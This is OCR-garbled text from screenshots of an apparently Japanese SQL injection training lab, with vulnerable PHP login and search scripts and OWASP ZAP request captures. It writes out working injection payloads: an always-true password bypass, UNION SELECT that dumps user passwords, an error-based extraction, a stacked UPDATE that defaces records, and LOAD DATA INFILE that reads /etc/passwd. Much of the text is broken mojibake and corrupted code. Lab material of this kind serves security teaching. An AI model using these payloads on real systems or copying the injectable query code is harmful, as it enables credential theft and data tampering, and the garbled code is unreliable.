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session_start();
header( ‘Content-Type: text/html; charset=UTF-8');
$id = @$_POST['ID']; // Z—7TID
Spwd = @$_POST['PWD']; // /ST —F
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-8 @

$db = new PDO("mysql:host=127.8.8.1;dbname=wasbook”, "wasbook", "wasbook");

/! SQLDEATT

$sq1 = "SELECT * FROM users WHERE id ="$id' AND PWD = "$pwd"";

$ps = $db->query($sql); // 7TU—FiT
>
<html>
<body>
<2php
if ($ps-srowCount() > @) { // SELECTL 7z
$_SESSION['id"'] = $id;
echo 'B74 YEHTT;
} else {
echo 'O7 4 »RETT;

¥
// pg_close($con);
>

</body>
</html>

AEET2BEQT A R
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EEEF [(pioEws g JCEB 00 002 ey s«P roxXERE 9§
@ U1k & [yafwxev—h[w ULTRR = LA R
@ EIE (Fzantea—s] B0 Fzanbea— v =50
M= FAL GET hittp://example.ip/<4/44-002.html HTTR/1.1 HTTP/1.1 200 OK [;
(B BEDLFEAN User-Agent: Mozilla/s.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Server: nginx/1.10.3
Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,*/*;9=0.8 Date: Thu, 20 Dec 2018 00:37:39 GMT
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Enceding: gzip, deflate Content-Length: 277
Referer: http://example.jp/44/ Connection: keep-alive
DNT: 1 Last-Modified: Mon, 14 May 2018 13:08:18 GMT
Connection: keep-alive ETag: "115-56c2a2de85457-gzip"
|Upgrade-Insecure-Requests: 1 Accept-Ranges: bytes
Hest: example.jp Vary: Accept-Encoding
¥-UA-Compatible: [E=edge
<html>
<head> «<title= O LT {fZE L 1</title> < /head>
<body>
<form action="44-003.php" method="POST">
3 —HfF<input type="text" name="ID"><br=
JTAT— F<input type="text" name="PWD"><br>
<input type="submit" value="0%1>">
<« fform>
< /body=
< /html>
Ed
= z = : o
ijET%kﬁirEh?j r[,,waww H-}
@ @ Ve A @ TR
Id |USTRREE | AVYE |URL | AF—$R2—F |AF—9R3-F&it# | FUYFPIYTSTL | LARVART 91X | ##FP3—b | J-h |57 [€
RO 1 @2 fug FEDA++ 440 B0 D0 @0 o 0 o
[F54>H—/3: YOTRE 44/44-003php — LRKRUR ] sQLiftBME RIEEEE
O S\tvyay - 20181219-075342 - OWASP ZAP 27.0 _ X
TrAiL wE TR MU~ LMR—b Y=l AYSA> ~ALT
e puoEBEf: 500 008 00D @y <P )OXERE o6 \

@ U1 | 4

[yawax&—ﬂauaﬂ\ﬂ-ﬂ

= LARYA

FZALbE2— || i EIO)

POST http://example.jp/44/44-003.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: q=0.9,%/*;0=0.8

Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/44/44-002.html

Content-Type: application/x-www-form-urlencoded

Content-Length: 19

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

eLad [Fanrea- o) @0
v FaXTFAN
EBEITFEAN

html+xml

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Thu, 20 Dec 2018 01:01:18 GMT

Content-Type: text/html; charset=UTF-8

‘Connection: keep-alive

Set-Cookie: PHPSESSID=26c8f3us4e31u7354t3c5rrib2; path=/
Expires: Thu, 19 Nev 1981 08:52:00 GMT

(Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

X-UA-Compatible: [E=edge

Host: example.jp <html=
- <body=>
L DA 2T T < /body>
</html= v
JEEETQ&%“FM?E—#L] ForFv | 4 |
@ @ ¥ 71ua3 § THAR—
‘Id |UozANEE | XYyE URL A7—#R3-F |ZF-$A0-FH# | SUXFPUYTETL | LRRCART 94X | BEFS—b |-t |87 \@
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example jp/44/44

httpi//example.jp/44/44-002.html X

¢ @ @ view-sourcerhttp://example.jp/44/44-002 html

<html>
<head><titlenJ+4 LT L&t lex<rhead>
<body>

HAT—F

<input type="sibmit” value="0% 1"
</form>

</body>

</htm!>

http://examplep/a4/44-002.html X

c fr @ view-source:http://example.jp/44/44-002 html
<htm|>
<head><title>d 2 LT <FEEL W/ it led</head>
<body>

<form action="44-003.php” method="POST">
2—HE<input type="text” name="10"><br>
J82 T — Finput types"text” name="PHD"><br>
<input type="submit” value="00%/ 7 +">
</form>

</bodv>

</html>

examplejp/44/44-003.php
¢ @

<html>

<body>

07 BRI T H < /body>
<Ahtml>

httpi//example.jp/44/44-003.php X

iew-source:nttp://example,jp/44/44-003.php




SQLHfEES M 44-0022: 2 EAE(EER)

- 4.4 SQUEFTFH LIcE SRR S5

« c @ @
4.4 SQLIFUH LIC S AEEs M
. 44-001:FEEFE(EER)

44-001:FEBR(T S5 — AVt —Ih 5 DIEERER)
. 44-001: EEIEZE(UNION SELECT# Vo BHRiER)

example jp/44

. 44-001: EBIBE( I 7 LI L1 D 7 AILOAEET —TILIC)
. 44-001: BEER(I 7 AIEHBL[21T—TILE8E)

10. 44-004: FEEFETHER(EEFR

. 44-004: B HENFRR(SQL > o1 U2 3 VHE
. resetdb: T — 4~ —2ZMiEIE

phpinfo
h=LICED

[H—/%: htmlZ7/ILQ ]

[ Fvarfwvew/hitml/44/44-002a, him - wasb

p- I74% - WinSCP

] @D C|fesE xerr-Oe- 8 (
kntm1s
<heads<titles O 7 4 > LT < f2 & Lig/titles</heads
<body>

<form action="44-803.php" method="POST">

2 —F&c<input type="text” name="ID" value="yamada"><br>
78R 7 — F<input type="text" name="PWD" value="pass1"><br>
<input type="submit" value="0 7 ">

</form>»

</body>

</html>

-

4.4 SQUEFTF H

<lir<a href="

httpy//example,p/a4/

3 @ view-source:http://examplejp/44/ Ve w In @
<html>
<head><titlexd. 4 SALIETFE L1 SREEEIEC it le></head>
<body>
4.4 SOLIETRE L (24 SHEEsE
<ol>

<lir<a href="44-001.php?author=Shakespeare >44-001: EEiasR(ERER) </ i>
-001. phe?author="+ANDHEXTRACTYALUE (O, (SELECT+CONCATC'S’, id,”

2 pud)4FROMtuse re+L TMIT+0, 1)) +--+">44-001: BiEHR (I 5 — A v T U EOIERRE)/ax</1i>

<lir<a href="44-001.phe?author=authar="+UNION+SELECT+id, pud, rame, addr, NULL, NULL, MULL +FROM+users--+">44-001 : @5 E#85R (UNION SELECTZ AL - 1E3RIR

iy

<lix<a hrefz 4400
<lir<a href2"

L>44-00

<li><a href="44-001.php?author=

1-00Za. htn| “3d4-002
<li><a href =300, hinl “244-002

FIEmar/1i>

B (ERR)I</a</i>

B (FHEEE)< </ P>

UPDATE+bocks+SET+TITLE#3D" <i>cracked | </ >” +HHERE+id#30" 1001 --+">44-001 : IZ##5R (T — R X A)</a> <a href="44-001.php?author=Shakespeare >IEEH /a></1 i >

<li><a href="44-001.php?author=

; LOADHDATA+INFILE+" /et c/passwd " +INTO+TABL E+books+ [t it le] --+">44-001: BRE4E5R( 7 7 (LEHHE LI 7 7 A WOFAEE T — JIL(2)ax</ 1 i>

<li><a href="44-001.php?author="0R+aut

or+ISHIULL--+">44-001: BEZHR3R( 7 7 1 LERAHE L2157 — TFIL BB /ax</ | i

<li><a href="/44/44-004. php?author=Shakespeare ">44-004 : iS5 ERAR (L TF) <2</ | i>

<li><a href="/44/44-004. php?author=

=

D+EXTRACTYALUE (0, (SELECT+CONCAT("$*, id, " ', pid ) +FROM+users+L IMIT+0, 111 +-—+">44-004: BEEHEFAAEER(SILA 27 £ 72 3 VI ard/1 i

<li><a href="resetcb.phe > resetch: 7 — & ~N— O8I B2/ | i>
<fol>
<br>

"pheirfo. she Pehpinfod/a><br>
R hICER A

</html>

[H—s%: phpT7aIL ]

[ rvarr
= B
k2php
session_start();
header(*Content-Type: text/html; charset=UTF-8');

$id = @_PoST['ID']; // 1—TID
Spud = @_POST['PWD']; // /SR 7 —F
/l ToAR—RUIER
$db = new PDO("mysql:host=127.8.0.1;dbname=wasbook”, "wasbook”, "wasbook");
/! SQLOEHITT
$sq1 = "SELECT * FROM users WHERE id ="$id' AND PWD = "$pwd"";
$ps = $db->query($sql); // 7TU—FiT
>
<html>
<body>
<2php
if ($ps-srowCount() > @) { // SELECTL 7z
$_SESSION[*id"] = $id;
echo 'B74 YEHTT;
} else {
echo 'O7 4 »RETT;
¥
// pg_close($con);
>

003.php - @

e e

ample,jp - 745 - WinSCP
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FETHEEOSA CED

</body>
</html>
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7l BWE BR MU~ L= Y-l AZSA> AT

Accept: 1/xhtml+3m| ;0=0.9,%/%,0=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Enceding: gzip, deflate

Referar: http://example.jp/44/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: example.jp

= PlosEEgg (B 000 00 a8V s«h P ERE. ©6&
@ vk [# ot9o 25—+ [=uozan] + | = LARZR
(O wsu e} [F2Anrea-lg @O EP L T S I e i
M=tk FAR GET http: //example.jp/44/44-002a.html HTTP/1.1 HTTP/1.1 200 OK K
[ BEILFEAN User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 | |Server: nginx/1.10.2

Date: Thu, 20 Dec 2018 01:13:21 GMT
Content-Type: text/html; charset=UTF-8
‘Content-Length: 306

‘Connecticn: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:18 GMT
ETag: "132-56¢2a20e92576-gzip"
Accept-Ranges: bytes

Vary: Accept-Encoding

X-UA-Compatible: IE=edge

<html=
<head> <title= 0Z LT < EELi</title= < /head

F o 1

R2 o

</form=
«/body>
</html= E
J£m1qaﬂﬁ73—ﬂtj ForFyr 4|
@ & ¥V zruaaz & THAR-F
d|UYTZMEE | XYy E | URL AT —HZI—F |2RF-HA0—FHHA | SOVEPUYTEML | LARCART (X |BHTF5—b | /b |5 \@

RIEDRF 2 4
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[F59H—>H—/: YUTRL 44/44-003php — LRKUR ] SQLEftEH BIEEEEER)

W STtvvay - 20181219-075242 - OWASP ZAP 27.0
IrAilL BE BRE RUZ— LR—bk Y=L ALS4> AT

9,%/%,0=0.8

Accept: 1/xheml+xml
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

||Referer: hrtp://example.jp/44/44-002a.htm!
Content-Type: application/x-www-form-urlencoded
Centent-Length: 19

DNT: 1

Connection: keep-alive
Upgrade-Insecure-Requests; 1

(e2e-f plUSEEH: B 000 002 @y <P roXERE oG
@ ¥ [# oty z5-t[suozab | + | = LARZR
(o)== [FoArrea- ¢ B0 F2ALrE2— || {EIO
M AR POST http://example. p/44/44-003.php HTTR/1.1 HTTR/L.1 200 OK K
B BEIZTHR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Server: nginx/1.10.3

Date: Thu, 20 Dec 2018 01:15:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

|| Set-Cookie: PHPSESSID=kd9m6o1i7vimvhqt4efiepsia7; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

X-UA-Compatible: IE=edge

Host: example.jp <html=
= e o <body=

L __IEL iamaiaim_v_ _sil_| O4 - AT </body=>
</html=
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<> C @ @ example jp/44/: c @

s — G ”

JERT—Fpasst | <head><titlerd 27 L LT LS titlex</head
<body>

<form action="44-003.phe" method="POST">
1—HE<inout type"text” name="10" value="vamada ><br>

view-source:http://example jp/44/44-002a.html

4820 — F<input type="text” name="PHD" value="pass] ><br>
<input type="submit’” value="D1%/'-7 4"

</form

<body>

</html>

http://example jp/a4/44-003.php X

- example.jp/44/44-003.php

<« c @ c fr view-source:http://example.jp/44/44-003.php
0494 BNTYT <html>

<body>

O %7 BT TT /body>

</html>



SQLIfEg51E 44-002b: AR AT & (ERAE [E5#)

- sasQUEGHLEESEBE X
&« C @ @
4.4 SQLIFUME LICHED REERIE

. 44-001: FEBR(EER)

44-001:FEBR(T S5 — AVt —Ih 5 DIEERER)
. 44-001: EEIEZE(UNION SELECT# Vo BHRiER)

example jp/44

. 44-001: EBIBE( I 7 LI L1 D 7 AILOAEET —TILIC)
. 44-001: BEER(I 7 AIEHBL[21T—TILE8E)

10. 44-004: FEEFEWER(EER)

. 44-004: B HENFRR(SQL > o1 U2 3 VHE
12. resetdb:F— 9~ — 2|8

phpinfo
h=LICED

[H—/%: htmlZ7(ILQ ]

[ Avarfwww/htmi/44/44-002b.htm - wasbook@examplejp - I71% - WinSCP

El @ 9C BE&HEE xF1F-08-8|@
khtml>
<head><titlexA 7 > L T < 7F& Lig/titles</head>
<body>

<form action="44-803.php" method="POST">

2— £ <input type="text" name="ID" value="yamada"s<br>
/827 — Feinput type="text" name="PWD" value="" OR 'a'='a"><br>
<input type="submit" value="0% A >">

</form>

</body>

</html>

UL R http:fexample jpraa/

a Q iew-source:http://examplejp/44/
<html>
<head><titlerd. 4 SOLIFUH U IZ6F SHESRIEC it led</head>
<body>
4.4 SOLIETAE L (24 S HREEE
<ol>

1. phefauthor=Shakespeare">44-001 : EiEi8R (EE T /a</1 i>
1. phe?author="+ANDHEXTRACTYALUE (0, (SELECT+CONCATC'S”, id,

Vo +FROMtuse re+LIMITH0, 100+--+">44-001: &R (I 5 — A o - SOIERRER) /<1 i>

<lir<a href

-001 .th?éuthoﬁau“ghz_)r:'+UNIDN+SELECTHd.pwd.name,addr,NULL,NULL.NULL+FRDM+user5"+”>44*[][]l (EREESE (UNION SELECTZ R L otEiRimE) </ad/ | i

-002. ktm 4-002: FBTEmE< /2> </ i>
e (EH ) <ar</ | ir

e (FREE8E) </a></ | i>

<li><a href

:UPDATE+bocks+SET+TITLE#3D < i>cracked | </ > +HHERE+id%3D" 1001 --+">44-001 : BZ##5R (7 — R W X A)</a> <a href="44-001.php?author=Chakespeare VIEFK /a></1 i>

-001 .Dhoéauthor:' ;LOAD+DATA+INFILE+" /et o/passwd +INTO+TABLE thooks+(t it le) --+">44-001 : EEF8R( 7 7 T LEIHE L1 7 7 M ILOHEE T — AL 12 )<ra</ 1>

-001. pho?author= " OR+author+ 1 S+HULL--+">44-001 : EEZ4#FR (7 7 -1 LEiH B L [217 — FIL BB/ i
4/44-004. pho?author=Shakespeare">44-004 : RS HRMR (IEHF) </a></ | i >
4/44-004. php?author="+AND+EXTRACTYALUE (0, (SELECT+CONCATC'S" , id, "= ", pwd ] +FROM+users+L IMIT+0, 1) )+-—+">44-004 : EEEFEFBRAR (S0L -1 3/ = 7 3 VEEE) </ i

<li><a href="resetdb.php™>resetdh: 7 — & ~N— BB/ </ | i

"pheinfo.phe Pehpinfod/a><br>
F—LICES</a>

</htm|>

[4—/X: 44/44-003.php ]

- IF4% - WinSCP

[ varfenww/html/44/44-003. php - wasbook@
5] BN [

lc>php
session_start();
header(*Content-Type: text/html; charset=UTF-8');

$id = @_POST['ID']; // 1—FID
$pud = @§_POST['PWD']; // /S2Z7—F
/1 T—ER—RTER
$db = new PDO("mysql:host=127.8.0.1;dbname=wasbook”, "wasbook", "wasbaok");
/] SQLOEEHTITT
$sql = "SELECT * FROM users WHERE'id ="$id" AND PWD = "$pwd'";
$ps = $db->query($sql); // 7T U—FT
>
<html>
<body>
<2php
if ($ps->rowCount() > 8) { // SELECTL 7z
$_SESSION['id*] = $id;
echo 'B¥ A YEINTT;
T else {
echo 'B7 A vEETTY;
r
// pg_close($con);
2>

EA=Ee

&8 @

NEET H/ED S A VAT

</body>
</html>
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Ir-fi RE TR MU~ L—b Y=l AXSA> ~LT

[(B===F plocEwmp® 2@ o0o o002 &
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@ 1] 4+ [,}awa/w—h[swuﬂ-i-]

= LARZR

eEEE (Fzantea— s BO: FIALbE— ¢ HIE
M= GET http:/fexample.jp/a4/44-002b.html HTTR/1.1 HTTR/1.1 200 0K R
[E BEILFFAS Server: nginx/1.10.3

Accept: text/|
Accept-Language: ja,en-US;q=0.7,en;g=0.3
Accept-Enceding: gzip, deflate

Referer: http://example.jp/44/

DNT: 1

Connection: keep-alive

Cookie: PHPSESSID=kdom6ali7vimvhqt4efiepsje7
Upgrade-Insecure-Requests: 1

Host: example.jp

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64; rv:64.0) Gecko/20100101 Firefox/64.0
| hiernl +xml, -ation/xm;

0.8,*/*;q=0.8

Date: Thu, 20 Dec 2018 01:27:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 312

Connection: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:18 GMT
ETag: "138-56c2a2detd4b7-gzip"
Accept-Ranges: bytes

Vary: Accept-Encoding

¥-UA-Compatible: [E=edge

<html>
<head= «title> O /LT {fZE L 1</title> < /head >
<body>
<form action="44-003.php" method="
3 —HF<input type="text" name=
JT2 T — E<input type="text" name=

PWD'

<input type="submit" value="0%>">
fform

jam[e\&i[wﬁ—wl]mhjwﬁ

@ & W oslaAs @ THOAR-

55 2 2

Form

[F59H—>H—/: YUTRL 44/44-003php — LRKUR ] SQLEftEH BIEEEEER)

W EEtyY3Y - 20161219-075342 - OWASP ZAP 2.7.0

IrAN BE TR RUT— Lil—b Y-l AV ~LT

5
;

FS—F Wm0 1 3 @O RiEDAF+Y 450 B0 D0 @0 W0 0 W

[e2=—r  WiicEEag 20 008 000 487 <P )0 ERm oG
@ b [ya-rwaxa—b[a uaIRI‘T-i-] & AR
@ LEE (Fzanrea— s @O F7aLbea— v B
=] jﬁ$zt POST http://example.jp/44/44-003.php HTTR/1.1 HTTP/1.1 200 OK
[ EEISFFAN Server: nginx/1.10.3

User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64
Accept: text/html,appli html 1 appl

'+ rv:64.0) Gecko/20100101 Firefox/64.0
ml;q=0.9,%/*:q=0.8

Accept-Language: ja,en-US;q=0.7,en;g=0.3
Accept-Encoding: gzip, deflate

1| Referer: http://example.jp/44/44-002b.htm|
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

DNT: 1

‘Connection: keep-alive

Date: Thu, 20 Dec 2018 01:30:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

| Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-UA-Compatible: IE=edge

‘Cookie: PHPSESSID=kd9m601i7vimvhqt4efi6p5je7 <html>
Upgrade-Insecure-Requests: 1 <body>
Host: example.jp O JHHT Y </body>

_ </html>
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examplejp/44/44-003.php
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© examplejp/44/44

[ (® view-source:http://example,jp/44/44-002b.htm
<html>
<head><title>O Z 4 LT IZE L/ title></head>
<body>

<form action="44-003.phe” method="POST">

d—"&<inout types"text” name="10" value="vanada"><br>
1820 — Finput type="text” name="PHD" value="" OR "a’="a"><br>
<input type="submit” value="0014/ 1 +">

</form>

<body>

</html>

mpl

/44-003.php Bl httpi//example.jp/44/44-003.php X

[

<html>

<body>

0271 VERIhTT <body>
</html>

i) view-source:http://example,jp/44/44-003.php




SQLHaSME 44-001:BEBRR(T—2HIA) BE

&« c @ examplejp/a4/ c (@ view-sourcehttp://examplejp/44/ Voo h#d I &
4.4 SQUIPUHH LICHE S 35 <html> ) .
® ¢head><t it le>1.1 SILIBUH L (Zf SEBBIE/ t it le><head
1. 44-001:FEBFE(EER) ’ <body> .
2. 44-00 L EEHE(TS — X v r— Sh S OIEEER) ‘L—J‘}fﬂmnﬁud*jmm
3. 44-001: EEIBF(UNION SELECT# Rl /- EHIRS <li><a href="d4-001. pho?author=Shakespeare >44-001 : R (ERT)/ar</ | i>
4. 001, php?authors"+AND+EXTRACTYALUE (0 , (SELECT+CONCAT ('$', id, " : ", pwd) +FROM+use rl IMIT#0, 1))+-=+">44-001 : BRzhimR (T 5 — A » o — it S OISR /a></ | i>
5. ="+ NION-SELECT+idl, b, rame, acd m, NOLL, NULL, NULL+FROMse re=—+ > 44 -001: B g2 (UNION SELECT 2 FL o iERRe) </ar</ 1 i
6 = ® B i
: Bm(ERR /A i
7 4400 L HER (5 — S A) B2 - B E ad in — — — — p——
8. 44-001:EEWR(T 7 AILiFHAHH L[11 I 7 AILOAZEET—TILL) ET+TITLE%2D’ <\>cracked‘</|> +WHERE+\d%3D 10 +M4-001: BB (F — 2 A2 <a href="14-001. php?author=Shakespeare > BEEI/a></ | i>
9. 44-001: FEER(IT 7 (ILFEIH L[2]T—TILBE) [E+ /etc/pasend + N0 TABLE thooks= (1 1t 1e)-—+ ~44-00 | : it zn( 7 7 4 LEEHE LI 17 7 1 LOMEE > — AL/ | i
44+ EEREE = or=’ OR+aut or+IS+Ng_L--+ ">44-001 ﬁitﬁﬁ(j’ 71 ILERHH L./[ZJT LB/ i
e e e o . 1/44-004. phpauhor =Shakespeare >44-004 - EEB AT ERNR () </a></ | 1>
11. 44-004: EBERNFMSOLA > ST D> 3 B2 4/44-004. php?author="+A\D-EXTRACTYALUECD. (SELECT-CONCATC'S . id, " " puc) +FROM+use st IMIT40, 1))+ -+">44-004 : EREHATRHE (SULA ¥ = 52 3 WHEI/a></ | >
12. resetdb: T —4~—AMiEIE <li><a href="resetdb.php™> resetcb: T —% ~— AMIEIE< /a></ 1 i>
<ol
br>
hpinf <a href="ghpinfo.php >phpirfod/a><br>
g <a hret ="/ >h— LIES /2>
m=LERED Sbody>
</html>

[H—s%: phpT7qIL ]

[ fvarfwww/htmif44/a4-001.php - @example,jp - I35 - WinSCP
El B 9c HeEsa xr-Ue-8 @
k2php
header(*Content-Type: text/html; charset=UTF-8");
$author_=_$_GET['author'];
try {
$db = new PDO("mysql:host=127.8.8.1;dbname=wasbook”, "root"”, "wasbook");
$db->query(“Set names utf8");
// $db-ssetAttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_WARNING);
$db->sethttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = "SELECT * FROM books WHERE author ='$author’ ORDER BY id";
$ps = $db->query($sql);
>
<html>
<body>
<table border=1>
<tr>
<th>ESID</th>
<th>Z A Fib</thy
<th>EFH</th>
<th>HERIE</th>
<th>HERF B </ths
<th>@tE</th>
</tr>
<?php
while ($row = $ps->Ffetch()){
echo "<tr>\n";
for ($col = @; $col < 6; $col+s+) {
echo "<td>" . $row[$col] . "</td>\n"

echo "</tr>\n";

} catch (PDOException $e) {
echo "Error : " . $e->getMessage() . "\n";
¥
>
</table>
</body>
</html>




[T5 o8 —HY—/%: YUIRM 44/44-001php = LRAKRUR ] SQLEERHE BERRT—HIHEA) #E

O SFEtyay - 20181219-075342 - OWASP ZAP 27.0 — [n] }%
I7AL BE Bx MU~ Li— Y-l AXST2 ~LT
@rr B CEE-® "B 000 DD &d. -l )oXERE 96 |

| [@54n]+] [# oty 25— ] = uozab | + |
(o)) [Fzarea-o) B0

=
E BEI>TFRN

[E=T hitp:exomple.p/4/44- 001 phplauthor=S27; UPDAT .« books - 5ET 1T LES30%2 53 86 e crackeg! 9630/ 936627+ WHERE £ 0930627100152 —+ HTTR/1.1 | o

User-Agent: Mozillaf5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: textfhtm,application/xhtml+xml,application/xml;q=0.9, ¥/*;q=0.8

Accept-Language: ja,en-Us;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/44/

DNT: 1

Connection: keep-alive

Cookie: PHPSESSID=kd9m6a1i7v1mvhqtdefi6psje7 F
v

Upgrade-Insecure-Requests; 1
Host: example.jp

= LR
FZALbEa— || EO

HTTP/1.1 200 OK LA\
Server: nginx/1.10.3

Date: Thu, 20 Dec 2018 01:39:41 GMT

Centent-Type: text/html; charset=UTF-8

‘Content-Length: 183

Connection: keep-alive

Vary: Accept-Encoding

X-UA-Compatible: [E=edge

<html=

<body>

<table border=1>
<tr>
<th>ZID</th>
<th=>& L=</ /th=
<th>F&EH</th>
<th> iR </th>
«th>ERER </th=
<th>{litg</th>
<ftr>

< /table>
</body>
</html= i

ng]o\aﬂﬁﬁa—bL;mww[.ﬂ

@ @ T 7bxA7 § THRR—
URL AF—FAI-F |AF-FAI-FHEE | SOVERUTETL | LARSIATAHIZ | BlTS—b | J—t | 5T £
0

d|USTIAMER | AUy E

BEOAE+> 420 B0 D0 @o o S0
“44-001.php?author=";UPDATE+books+SET+TITLE%3D'<i>cracked!</i>'+WHERE+id%3D'1001'-—+" iE3814E% DL/ 85 A—42 (UPDATEX)




[T59¥—>H—/%: YOI~ 44/44-001php — LRKRUR ] SQLEEBHE WERK(EER)

O E\ty3Y - 20181219-075342 - OWASP ZAP 2.7.0

Ir-AI wE BR RU— LA-b Y-l A¥S5A> ~LT

=== MiEsEEp s O2E ode Oo0DE £V s«P P ERE ©6

@51b |+ [yawozs—ﬂa uf_uzr]-i-] = LARZR

@REE [FFanbea—|s B0 FotubEz— |7 B O

=td=1004</td>
<td>UFE</td>
<td=Shakespeare=</td>
<td=-#EAARBI</td>
<td>2004/07</td>
<td>1890</td>

</html=

M=Ecarly GET hﬂp‘//example.]p/‘ﬂ/ﬂ—l)ﬂl.php}zutho hakespeareyHTTP/1.1 HTTP/1.1 200 OK L‘\
(G BEIFEAN User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Server: nginx/1.10.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Date: Thu, 20 Dec 2018 02:03:51 GMT
Accept-Language: ja,en-Us;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Content-Length: 672
Referer: http://example.jp/44/ Connection: keep-alive
DNT: 1 Vary: Accept-Encoding
Connection: keep-alive X-UA-Compatible: IE=edge
Upgrade-Insecure-Requests; 1
Host: example.jp <html=
<body=
<table border=1>
<tr>
<th=HZEBID</th>
<th= & ML</ths
<th>EFL</th=
<th= kRt </th>
<th=HkEFER </th>
<th={fitg</th>
</t r

[BrElam=Rrs—r [ 7or7ar [+

@ @ V¥ oqbzao @ IO~

AUy R ‘URL




[I354]

&«

c @

[EEID |5+ b SEa|mim e R |

example,jp/44/44-001 phpZauthor="UPDATE+books+SET+TITLE®3D <i

example jp/44/44-001 phpTauthor- X

1.php?author=Shakespeare

<« c @ examplejp/44/44-00

BEID| gL | =E& | dimd | wimEn| s
1001 |/cracked! |Shakespeare|B#HE% ||1979/01||600
1002 |[/\sl-w |[Shakespeare|EFEFE  ||1997/04(1260
1003 || Z |(Shakespeare||Ufi#HiR (2001/05(1530]
1004 |UZE  |[Shakespeare|ikMZ35&+t|2004/07|[1890

racked! </i>"+V

example;p/44/44-001,

c @

<htm|>

<body>

<table border=1>
<t
StheEZEI/th
<th> 2 b IL<th
SAh>EEE >
<th>HkRiL</th
<{thrBRiRER </ thy
<th> @</ th>
ey

<td>1004</td>

Std> )T E D
<td>Shakespeared/td>
CGDPRBLTRITC D
<td>2004/07< 1 d>
<td>1890</td>

(94 404

</table>

</body>

<html>

example jp/44/44-001.phptauth

¢ @

<html>

<body>

<table border=1>
<r>
<theEZ D/ th>
<th> & A LA thy
h>EEE/th
<tho i</ th>
<theBiRF A < th>
<th> (&< th>
<t

</tabler

</body>

</html>

@ view-sourcerhttp://example,jp/44/44-001.php?author="UPDATE + books+SET+TITLE%3D'%

) view-source:http://example jp/44/44-001.php?author=Shakespeare




SOLHfES8E 44-001:BBRROF7AIEHEHHBLOIZ7ZAMILORNEET—TIVID)
SQLieSE 44-001:BEBRRO7MILEHEFHBLRIT—ITILER)

- 44 SQUETFHLICE BB X 44 SQUETFHLICE SRSt

D c @ c @ Vo @YY I @
4.4 SQLIFTRE LIRS Badsit <himl>
<head><titlerd. 4 SILIFTHE L2 DMEBEIH</ it le></head>
1. 44-001: EEEIER(IEER) <body>
2. 44-00LEBBHE(TS— v tr—Sh SOEETR) 4.4 SO - 165
; o
3. 44-001: ELEIAR(UNION SELECTZ Ao iResifi) <li>¢a href="44-001. she?authorGhakespeare >44-00]: FEHETERA) /> </ 11>
4. H <li><a href 44 001. php?aut hor=" +AND+EXTRACTVALUE (0, (SELECT+CONCATC"$” . id, " : ", pud)+FROMrusers+L IMIT+0, 1))+ —+">44-001: BiE#dsR (T 5 — A v E— U S OIERRE a1 i>
5. <li><a href -001.php?aut hor=author="+UNIOW+SELECT+ id, pwd, name . addr, NULL, NULL , NULL +FROM+users--+">44-001 : iZ##3= (UNION SELECTZ RL Ft&ims) </a</1i>
.. 2 e R I
<lir<a href -002a.htm| ">44-002 B E (I Sard/lir
7. 44-001: HEBR(T—IUSA) BR ’ “1iv<a href="44-002b. htm\ 44+ 002: 2 SLENE (SHE ) /<] i
8. 44-001:EEWR(TI 7 AILiFHAHH L[11 D 7 AILOAZEET—TILC) <li><a href C--+ T d4-001: SRS (T — 2 U F A <a href="44-001.che?author=Shakespeare > HESE /a0 </ | i>
9. 44-001: BEER(I 7 AILEMBL[21F—TILE8) @ <lixéa hrefda4-001. php?author— ; LOAD+DATA+ INFILE+ Fetc/passwd” +INTU+TAELE+book5+ title 44-001:BEBFE( 7 7 AUFTAHE L] T 7 A IULOFATET— FIL LI >

<li><a href444-001. hp"author UR+author’+IS+NULL"+ >44 001 BRI >

10. 44-004: FEEFEWER(EER)

éféi%ﬂaxﬁﬁw-

; - e Sl
11, 44-004: BEBSHFISOLA > I T I 23 VHZ <liv<a href"/44/44-004. php”authorf +AND+EXTRACTVALUE(D (SELECT+CONCAT ("8, o +HFROMusers+ TNIT+H, 10)+- -+ ">44-004: REHESRATSRAR (S0 L 1 73 3 VHERI/ax</ 1 i>
12. resetdb: T —4~—AMiEIE <lir<a href="resetdb.phe">resetdn: 7 —5 X —2@IEIH /21>
<fol>
<br>
